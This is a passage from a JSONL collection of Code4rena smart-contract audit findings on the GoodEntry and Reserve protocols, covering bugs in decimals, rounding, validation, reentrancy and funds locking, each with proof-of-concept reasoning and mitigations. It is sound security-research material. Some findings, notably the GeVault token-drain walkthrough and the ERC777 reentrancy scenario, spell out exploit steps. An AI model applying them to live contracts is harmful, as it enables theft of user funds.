}\n\n function getDust() internal view returns (uint amount){\n uint scale0 = 10**(20 - IERC20(token0).decimals()) * token0Price / 1e8;\n uint scale1 = 10**(20 - IERC20(token1).decimals()) * token1Price / 1e8;\n\n if (scale0 > scale1) amount = scale0;\n else amount = scale1;\n }\n}\n```\nFor BTC/ETH pool and current tick, the dust calculation will revert.\n\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../contracts/lib/LiquidityAmounts.sol\";\nimport \"../contracts/lib/TickMath.sol\";\n\ninterface IERC20 {\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV3Pool{\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n \n function token0() external view returns (address);\n function token1() external view returns (address);\n function tickSpacing() external view returns (int24);\n}\n\ncontract TestDust is Test {\n IUniswapV3Pool constant uniswapPool = IUniswapV3Pool(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD);\n address constant token0 = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\n address constant token1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n uint256 constant token0Price = 29000e8;\n uint256 constant token1Price = 1830e8;\n\n function setUp() public {\n vm.createSelectFork(\"https://rpc.ankr.com/eth\", 17863266);\n }\n\n function testDustPrice() public {\n (uint token0Amount, uint token1Amount) = getTokenAmountsExcludingFees(getDust());\n }\n\n function getTokenAmountsExcludingFees(uint amount) public view returns (uint token0Amount, uint token1Amount){\n (uint160 sqrtPriceX96, int24 tick,,,,,) = IUniswapV3Pool(uniswapPool).slot0();\n int24 tickSpacing = IUniswapV3Pool(uniswapPool).tickSpacing();\n (token0Amount, token1Amount) = LiquidityAmounts.getAmountsForLiquidity(sqrtPriceX96, TickMath.getSqrtRatioAtTick(tick - 10 * tickSpacing), TickMath.getSqrtRatioAtTick(tick), uint128(amount));\n }\n\n function getDust() internal view returns (uint amount){\n uint scale0 = 10**(20 - IERC20(token0).decimals()) * token0Price / 1e8;\n uint scale1 = 10**(20 - IERC20(token1).decimals()) * token1Price / 1e8;\n\n if (scale0 > scale1) amount = scale0;\n else amount = scale1;\n }\n}\n```\n\nFor the last 10 ticks, the token0Amount and token1Amount are 0 and 341236635433582778849. That's a huge number, not dust.\n\n## Tools Used\n\nFoundry\n\n## Recommended Mitigation Steps\n\nCheck the amount of token0Amount and token1Amount corresponding to repayAmount instead of adding dust manually\n\n\n\n\n\n\n\n\n\n\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-08-goodentry-findings","repo":"https://github.com/code-423n4/2023-08-goodentry-findings","url":"https://github.com/code-423n4/2023-08-goodentry-findings/issues/358"}} {"title":"Any token with a valid price feed (besides the underlying token pair) can be drained from the GeVault","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L214\nhttps://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L222\n\n\n# Vulnerability details\n\n## Impact\nIn `GeVault.sol`, `withdraw()` allows a user to specify any token with a valid price feed to be withdrawn in exchange for `GeVault` liquidity. Due to the way withdrawal amounts are calculated, an attacker may be able to drain the non-underlying tokens from the vault in exchange for their liquidity tokens, with minimal loss of their own deposited assets.\n\nThe practical effect on the state would be a decrease in `totalSupply`, a decrease in the non-underlying token and no change in the `getTVL()` result (the same effect as burning the liquidity token). \n\nThe following edge cases must also be considered: \n\n1. If the vault receives tokens as an airdrop or reward, which are not the underlying tokens, but has a valid price feed (for example, active addresses being airdropped ARB tokens), an attacker will be able to withdraw this asset in exchange for their liquidity. Due to the calculation logic, such a user will still get the majority of their underlying funds back on `withdraw`.\n\n2. If an attacker manages to add a valid price feed for any of the `TokenisableRange` assets that the vault will hold, then the attacker may be able to drain the vault of the ticker assets. This would require external circumstances which is unlikely. \n\nAs the above requires non-underlying tokens to be sent to the `GeVault`, which it is not designed for, but is theoretically possible, this issue was evaluated to medium risk.\n\n## Proof of Concept\nThe code for the `withdraw` function is [here](https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L214): \n\n```\n /// @notice Withdraw assets from the ticker\n /// @param liquidity Amount of GEV tokens to redeem; if 0, redeem all\n /// @param token Address of the token redeemed for\n /// @return amount Total token returned\n /// @dev For simplicity+efficieny, withdrawal is like a rebalancing, but a subset of the tokens are sent back to the user before redeploying\n function withdraw(uint liquidity, address token) public nonReentrant returns (uint amount) {\n require(poolMatchesOracle(), \"GEV: Oracle Error\");\n if (liquidity == 0) liquidity = balanceOf(msg.sender);\n require(liquidity <= balanceOf(msg.sender), \"GEV: Insufficient Balance\");\n require(liquidity > 0, \"GEV: Withdraw Zero\");\n \n uint vaultValueX8 = getTVL();\n uint valueX8 = vaultValueX8 * liquidity / totalSupply();\n amount = valueX8 * 10**ERC20(token).decimals() / oracle.getAssetPrice(token);\n uint fee = amount * getAdjustedBaseFee(token == address(token1)) / 1e4;\n \n _burn(msg.sender, liquidity);\n removeFromAllTicks();\n ERC20(token).safeTransfer(treasury, fee);\n uint bal = amount - fee;\n\n if (token == address(WETH)){\n WETH.withdraw(bal);\n payable(msg.sender).transfer(bal);\n }\n else {\n ERC20(token).safeTransfer(msg.sender, bal);\n }\n \n // if pool enabled, deploy assets in ticks, otherwise just let assets sit here until totally withdrawn\n if (isEnabled) deployAssets();\n emit Withdraw(msg.sender, token, amount, liquidity);\n }\n``` \n\nWe can see that if a user were to pass in any token address for the `token` argument, it will need to have a valid price feed from the Aave Oracle due to the `getAssetPrice(token)` check here: \n```\n amount = valueX8 * 10**ERC20(token).decimals() / oracle.getAssetPrice(token);\n```\n\nThe calculation of `amount`, as shown above, means that a user can withdraw any token as long as it has a valid price feed from the Oracle. Interestingly, the `amount` the user receives will still be in line with the actual liquidity token value. The effect of this sort of `withdraw` is that the user `burns` an amount of their liquidity tokens in exchange for the asset. But because the `getTVL()` does not change while the `totalSupply` decreases, the user can still withdraw the majority of the underlying assets they deposited into the vault due to this calculation: \n```\n uint vaultValueX8 = getTVL();\n uint valueX8 = vaultValueX8 * liquidity / totalSupply();\n amount = valueX8 * 10**ERC20(token).decimals() / oracle.getAssetPrice(token);\n uint fee = amount * getAdjustedBaseFee(token == address(token1)) / 1e4;\n```\n\nThis would mean that an attacker can profit from this bug if tokens with a valid price feed were to be transferred to the vault, as they would get the non-underlying token and most of their deposited tokens.\n\nFor example:\nState is: \n```\ntotalSupply = 1000e18\nTVL = 1000e8\nBOB liquidity tokens = 500e18 \n100e18 DAI has been sent to the vault\ntoken0 is WETH\ntoken1 is USDC.e\n```\nBOB calls `withdraw` with 100e18 liquidity\n\nAssume no fees. \n\n```\n uint vaultValueX8 = 1000e8;\n uint valueX8 = 1000e8 * 100e18 / 1000e18;\n uint valueX8 = 100e8\n // amount = valueX8 * 10**ERC20(token).decimals() / oracle.getAssetPrice(token);\n amount = 100e8 * 1e18 / 1e8;\n amount = 100e18\n```\n\nWe see that 100 DAI (with 18 decimals) is sent to BOB. The same amount of liquidity token was burnt. TVL stays the same as we did not move the underlying.\n\nThe state is now:\n```\ntotalSupply = 900e18\nTVL = 1000e8\nBOB liquidity tokens = 400e18 \n0 DAI in vault\ntoken0 is WETH\ntoken1 is USDC.e\n```\n\nBOB now withdraws his principal amount in USDC: \n```\n uint vaultValueX8 = 1000e8;\n uint valueX8 = 1000e8 * 400e18 / 900e18;\n uint valueX8 = 44 444 444 444\n // amount = valueX8 * 10**ERC20(token).decimals() / oracle.getAssetPrice(token);\n amount = 44 444 444 444 * 1e6 / 1e8;\n amount = 444.444444e6\n```\n\nWe see that BOB has received 444.44 USDC, and he has withdrawn the 100 DAI. \n\nBOB has made a profit, with a total of 544.44 USD worth of tokens.\n\n## Tools Used\nManual code review.\n\n## Recommended Mitigation Steps \nValidate the `token` address specified in the `withdraw` function in the same way as for the `deposit` function.\n\n\n\n\n\n\n\n\n## Assessed type\n\nToken-Transfer","dataSource":{"name":"code-423n4/2023-08-goodentry-findings","repo":"https://github.com/code-423n4/2023-08-goodentry-findings","url":"https://github.com/code-423n4/2023-08-goodentry-findings/issues/339"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/carlitox477-Q.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/41"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/carlitox477-G.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/40"}} +{"title":"`CTokenV3Collateral._underlyingRefPerTok` should use the decimals from underlying Comet.","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CTokenV3Collateral.sol#L56\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L46\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L236\n\n\n# Vulnerability details\n\n## Impact\n\n`CTokenV3Collateral._underlyingRefPerTok` uses `erc20Decimals` which is the decimals of `CusdcV3Wrapper`. But it should use the decimals of the underlying Comet.\n\n## Proof of Concept\n\nCTokenV3Collateral._underlyingRefPerTok` computes the actual quantity of whole reference units per whole collateral tokens. And it passes `erc20Decimals` to `shiftl_toFix`\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CTokenV3Collateral.sol#L56\n```solidity\n function _underlyingRefPerTok() internal view virtual override returns (uint192) {\n return shiftl_toFix(ICusdcV3Wrapper(address(erc20)).exchangeRate(), -int8(erc20Decimals));\n }\n```\n\nHowever, the correct decimals should be the decimals of underlying Comet since it is used in `CusdcV3Wrapper.exchangeRate`\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L236\n```solidity\n function exchangeRate() public view returns (uint256) {\n (uint64 baseSupplyIndex, ) = getUpdatedSupplyIndicies();\n return presentValueSupply(baseSupplyIndex, safe104(10**underlyingComet.decimals()));\n }\n```\n\n\n## Tools Used\n\nManual Review\n\n## Recommended Mitigation Steps\n\n```diff\n function _underlyingRefPerTok() internal view virtual override returns (uint192) {\n- return shiftl_toFix(ICusdcV3Wrapper(address(erc20)).exchangeRate(), -int8(erc20Decimals));\n+ return shiftl_toFix(ICusdcV3Wrapper(address(erc20)).exchangeRate(), -int8(comet.decimals()));\n }\n```\n\n\n\n\n\n\n## Assessed type\n\nDecimal","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/39"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/auditor0517-Q.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/38"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/0xA5DF-Q.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/34"}} +{"title":"`RTokenAsset` price estimation accounts for margin of error twice","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/RTokenAsset.sol#L53-L72\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/RTokenAsset.sol#L100-L115\n\n\n# Vulnerability details\n\n\n`RTokenAsset` estimates the price by multiplying the BU (basket unit) price estimation by the estimation of baskets held (then dividing by total supply).\nThe issue is that both BU and baskets held account for price margin of error, widening the range of the price more than necessary.\n\n\n## Impact\nThis would increase the high estimation of the price and decrease the lower estimation.\nThis would impact:\n* Setting a lower min price for trading (possibly selling the asset for less than its value)\n* Preventing the sell of the asset (`lotLow` falling below the min trade volume)\n* Misestimation of the basket range on the 'parent' RToken\n\n## Proof of Concept\n\n\n* Both `tryPrice()` and `lotPrice()` use this method of multiplying basket unit price by basket range then dividing by total supply\n* BU price accounts for oracle error\n* As for the basket range - whenever one of the collaterals is missing (i.e. less than baskets needed) it estimates the value of anything above the min baskets held, and when doing that it estimates for oracle error as well.\n\n\nConsider the following scenario:\n* We have a basket composed of 1 ETH token and 1 USD token (cUSDCv2)\n* cUSDCv2 defaults and the backup token AAVE-USDC kicks in\n* Before trading rebalances things we have 0 AAVE-USDC\n* This means that we'd be estimating the low price of the ETH we're accounting for margin of error at least twice:\n * Within the `basketRange()` we're dividing the ETH's `low` price by `buPriceHigh`\n * Then we multiply again by `buPriceLow`\n\n(there's also some duplication within the `basketRange()` but that function isn't in scope, what is is scope is the additional margin of error when multiplying by `buPriceLow`).\n\n## Recommended Mitigation Steps\nI think the best way to mitigate this would be to use a dedicated function to estimate the price, I don't see an easy way to fix this while using the existing functions.\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/31"}} +{"title":"Possible rounding during the reward calculation","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L86\n\n\n# Vulnerability details\n\n## Impact\nSome rewards might be locked inside the contract due to the rounding loss.\n\n## Proof of Concept\n`_claimAndSyncRewards()` claimed the rewards from the staking contract and tracks `rewardsPerShare` with the current supply.\n\n```solidity\n function _claimAndSyncRewards() internal virtual {\n uint256 _totalSupply = totalSupply();\n if (_totalSupply == 0) {\n return;\n }\n _claimAssetRewards();\n uint256 balanceAfterClaimingRewards = rewardToken.balanceOf(address(this));\n\n uint256 _rewardsPerShare = rewardsPerShare;\n uint256 _previousBalance = lastRewardBalance;\n\n if (balanceAfterClaimingRewards > _previousBalance) {\n uint256 delta = balanceAfterClaimingRewards - _previousBalance;\n // {qRewards/share} += {qRewards} * {qShare/share} / {qShare}\n _rewardsPerShare += (delta * one) / _totalSupply; //@audit possible rounding loss\n }\n lastRewardBalance = balanceAfterClaimingRewards;\n rewardsPerShare = _rewardsPerShare;\n }\n```\n\nIt uses [one](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L38) as a multiplier and from [this setting](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20Wrapper.sol#L32-L39) we know it has the same decimals as `underlying`(thus `totalSupply`).\n\nMy concern is `_claimAndSyncRewards()` is called for each deposit/transfer/withdraw in [_beforeTokenTransfer()](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L124) and it will make the rounding problem more serious.\n\n1. Let's consider [underlyingDecimals = 18](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20Wrapper.sol#L34). `totalSupply = 10**6 with 18 decimals`, `rewardToken` has 6 decimals.\nAnd total rewards for 1 year are `1M rewardToken` for `1M totalSupply`.\n2. With the above settings, `_claimAndSyncRewards()` might be called every 1 min due to the frequent user actions.\n3. Then expected rewards for 1 min are `1000000 / 365 / 24 / 60 = 1.9 rewardToken = 1900000 wei`.\n4. During the [division](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L86), it will be `1900000 * 10**18 / (1000000 * 10**18) = 1`.\nSo users would lose almost 50% of rewards due to the rounding loss and these rewards will be locked inside the contract.\n\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\nI think there would be 2 mitigation.\n1. Use a bigger multiplier.\n2. Keep the remainders and use them next time in `_claimAndSyncRewards()` like this.\n\n```solidity\n if (balanceAfterClaimingRewards > _previousBalance) {\n uint256 delta = balanceAfterClaimingRewards - _previousBalance; //new rewards\n uint256 deltaPerShare = (delta * one) / _totalSupply; //new delta per share\n\n // decrease balanceAfterClaimingRewards so remainders can be used next time\n balanceAfterClaimingRewards = _previousBalance + deltaPerShare * _totalSupply / one;\n\n _rewardsPerShare += deltaPerShare;\n }\n lastRewardBalance = balanceAfterClaimingRewards;\n```\n\n\n## Assessed type\n\nMath","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/30"}} +{"title":"Rewards might be locked inside the contract by setting the wrong token.","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/stargate/StargateRewardableWrapper.sol#L21\n\n\n# Vulnerability details\n\n## Impact\nStakers won't get any rewards and the rewards might be locked inside the contract.\n\n## Proof of Concept\nIn `StargateRewardableWrapper`, it sets `pool`, `stakingContract`, and `stargate(reward token)`.\n\n```solidity\n constructor(\n string memory name_,\n string memory symbol_,\n IERC20 stargate_,\n IStargateLPStaking stakingContract_,\n IStargatePool pool_\n ) RewardableERC20Wrapper(pool_, name_, symbol_, stargate_) { //@audit should validate stargate \n require(\n address(stargate_) != address(0) &&\n address(stakingContract_) != address(0) &&\n address(pool_) != address(0),\n \"Invalid address\"\n );\n\n uint256 poolLength = stakingContract_.poolLength();\n uint256 pid = type(uint256).max;\n for (uint256 i = 0; i < poolLength; ++i) {\n if (address(stakingContract_.poolInfo(i).lpToken) == address(pool_)) {\n pid = i;\n break;\n }\n }\n require(pid != type(uint256).max, \"Invalid pool\");\n\n pool_.approve(address(stakingContract_), type(uint256).max); // TODO: Change this!\n\n pool = pool_;\n poolId = pid;\n stakingContract = stakingContract_;\n stargate = stargate_;\n }\n```\n\nIt checks if `pool` exists in the `stakingContract` during the construction but doesn't validate `stargate` at all.\n\nSo users won't receive any rewards like the below.\n\n1. The `stakingContract` contains `pool` and [stargate](https://github.com/stargate-protocol/stargate/blob/main/contracts/LPStaking.sol#L44) as a reward token.\n2. During the construction, `pool` and `stargateWrong` were set.\n3. When users deposit/withdraw the underlying funds, the rewards will be accumulated with `stargateWrong` token in [_claimAndSyncRewards](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L78). And the reward amount will be 0 always.\n4. But in [_claimAssetRewards()](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/stargate/StargateRewardableWrapper.sol#L48), the real rewards of `stargate` are transferred to the contract.\n5. Users won't receive any rewards and the real rewards will be locked inside the contract forever.\n\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\nWe should validate `stargate_` during the construction.\n\n```solidity\nrequire(address(stargate_) == address(stakingContract_.stargate), \"Wrong stargate\");\n```\n\n\n## Assessed type\n\nInvalid Validation","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/29"}} +{"title":"The rewards might be locked inside the contract due to the reentrancy attack.","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L111\n\n\n# Vulnerability details\n\n## Impact\nThe stakers might lose some rewards and the rewards might be locked inside the contract forever.\n\n## Proof of Concept\nIn `RewardableERC20`, users can claim their accumulated rewards using `claimRewards()`.\n\n```solidity\n function claimRewards() external nonReentrant {\n _claimAndSyncRewards();\n _syncAccount(msg.sender);\n _claimAccountRewards(msg.sender);\n }\n```\n\nIt claims and sync rewards from the staking contract first and transfers the rewards to users. Also, it has a `nonReentrant` modifier to prevent possible reentrancy approaches.\n\nDue to this `nonReentrant` modifier, the reentrancy attack is impossible with `claimRewards()` only but users can call [deposit()](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20Wrapper.sol#L42) or [withdraw](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20Wrapper.sol#L52) inside the hook.\n\nAs a result, the attackers might manipulate `lastRewardBalance` like the below.\n\n1. We assume `rewardToken` is an ERC777 token with the `_afterTokenTransfer` hook.\n2. An attacker calls `claimRewards()`. Then `_claimAccountRewards()` is called after syncing rewards from the staking contract.\n\n```solidity\n function _claimAccountRewards(address account) internal {\n uint256 claimableRewards = accumulatedRewards[account] - claimedRewards[account];\n\n emit RewardsClaimed(IERC20(address(rewardToken)), claimableRewards);\n\n if (claimableRewards == 0) {\n return;\n }\n\n claimedRewards[account] = accumulatedRewards[account];\n\n uint256 currentRewardTokenBalance = rewardToken.balanceOf(address(this));\n\n // This is just to handle the edge case where totalSupply() == 0 and there\n // are still reward tokens in the contract.\n uint256 nonDistributed = currentRewardTokenBalance > lastRewardBalance\n ? currentRewardTokenBalance - lastRewardBalance\n : 0;\n\n rewardToken.safeTransfer(account, claimableRewards); //@audit possible reentrancy\n\n currentRewardTokenBalance = rewardToken.balanceOf(address(this));\n lastRewardBalance = currentRewardTokenBalance > nonDistributed\n ? currentRewardTokenBalance - nonDistributed\n : 0;\n }\n```\n3. In `_claimAccountRewards()`, let's consider `lastRewardBalance = 100, claimableRewards = 10`.\n4. Inside the hook, the attacker calls `deposit()` and `_claimAndSyncRewards()` will be called within [_beforeTokenTransfer()](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L124).\n5. In `_claimAndSyncRewards()`, `lastRewardBalance` will be 100 as it isn't updated in `_claimAccountRewards()` yet.\nAnd `balanceAfterClaimingRewards` will be `100 - 10 + newlyClaimedRewards` because `claimableRewards = 10` was transfered already in `_claimAccountRewards()`.\n6. The main assumption is `newlyClaimedRewards` is positive after the second call of [_claimAssetRewards](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L77) within the same transaction. It's because `claimRewards()` calls this function.\nThis assumption might be possible to happen if the reward contract has a minimum threshold of deposit amount and it transfers the rewards during the second `_claimAssetRewards` after the attacker meets the threshold condition by depositing more funds.\n7. So if new rewards amount = 10, `balanceAfterClaimingRewards = 90 + 10 = 100` and [_rewardsPerShare](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L86) won't be increased because `balanceAfterClaimingRewards == _previousBalance` although it has claimed new rewards.\n8. After the hook, [lastRewardBalance](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L114) will be set to 100.\nAs a result, 10 rewards will be locked inside the contract.\n\nSo there are 2 assumptions to make this attack possible.\n- `rewardToken` is an ERC777 token. I think it's not so strong assumption because `claimRewards()` has a `nonReentrant` modifier already with this assumption.\n- `_claimAssetRewards()` claims some rewards during the second call in the same transaction after new deposit and\nit might be possible during the implementation for [existing virtual functions](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/morpho-aave/MorphoTokenisedDeposit.sol#L44).\n\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\n`_claimAndSyncRewards()` and `_claimAccountRewards()` should have a `nonReentrant` modifier individually instead of `claimRewards`.\n\n\n## Assessed type\n\nReentrancy","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/28"}} +{"title":"Permanent funds lock in `StargateRewardableWrapper`","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/stargate/StargateRewardableWrapper.sol#L48\n\n\n# Vulnerability details\n\n## Impact\nThe staked funds might be locked because the deposit/withdraw/transfer logic reverts.\n\n## Proof of Concept\nIn `StargateRewardableWrapper`, `_claimAssetRewards()` claims the accumulated rewards from the staking contract and it's called during every deposit/withdraw/transfer in [_beforeTokenTransfer()](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L124) and [_claimAndSyncRewards()](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L77).\n\n```solidity\n function _claimAssetRewards() internal override {\n stakingContract.deposit(poolId, 0);\n }\n```\n\nAnd in the stargate staking contract, [deposit()](https://github.com/stargate-protocol/stargate/blob/main/contracts/LPStaking.sol#L153) calls [updatePool()](https://github.com/stargate-protocol/stargate/blob/main/contracts/LPStaking.sol#L136) inside the function.\n\n```solidity\n function updatePool(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\n uint256 stargateReward = multiplier.mul(stargatePerBlock).mul(pool.allocPoint).div(totalAllocPoint); //@audit revert when totalAllocPoint = 0\n\n pool.accStargatePerShare = pool.accStargatePerShare.add(stargateReward.mul(1e12).div(lpSupply));\n pool.lastRewardBlock = block.number;\n }\n\n function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n ...\n }\n```\n\nThe problem is `updatePool()` reverts when `totalAllocPoint == 0` and this value can be changed by stargate admin using [set()](https://github.com/stargate-protocol/stargate/blob/main/contracts/LPStaking.sol#L100).\n\nSo user funds might be locked like the below.\n1. The stargate staking contract had one pool and `totalAllocPoint = 10`.\n2. In `StargateRewardableWrapper`, some users staked their funds using [deposit()](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20Wrapper.sol#L42).\n3. After that, that pool was removed by the stargate admin due to an unexpected reason. So the admin called [set(0, 0)](https://github.com/stargate-protocol/stargate/blob/main/contracts/LPStaking.sol#L100) to reset the pool. Then `totalAllocPoint = 0` now.\nIn the stargate contract, it's not so critical because this contract has [emergencyWithdraw()](https://github.com/stargate-protocol/stargate/blob/main/contracts/LPStaking.sol#L184) to rescue funds without caring about rewards. Normal users can withdraw their funds using this function.\n4. But in `StargateRewardableWrapper`, there is no logic to be used under the emergency and deposit/withdraw won't work because `_claimAssetRewards()` reverts in [updatePool()](https://github.com/stargate-protocol/stargate/blob/main/contracts/LPStaking.sol#L147) due to 0 division.\n\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\nWe should implement a logic for an emergency in `StargateRewardableWrapper`.\n\nDuring the emergency, `_claimAssetRewards()` should return 0 without interacting with the staking contract and we should use `stakingContract.emergencyWithdraw()` to rescue the funds.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/27"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/ronnyx2017-Q.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/26"}} +{"title":"CurveStableMetapoolCollateral.tryPrice returns a huge but valid high price when the price oracle of pairedToken is timeout","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableMetapoolCollateral.sol#L83-L86\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableCollateral.sol#L74-L98\n\n\n# 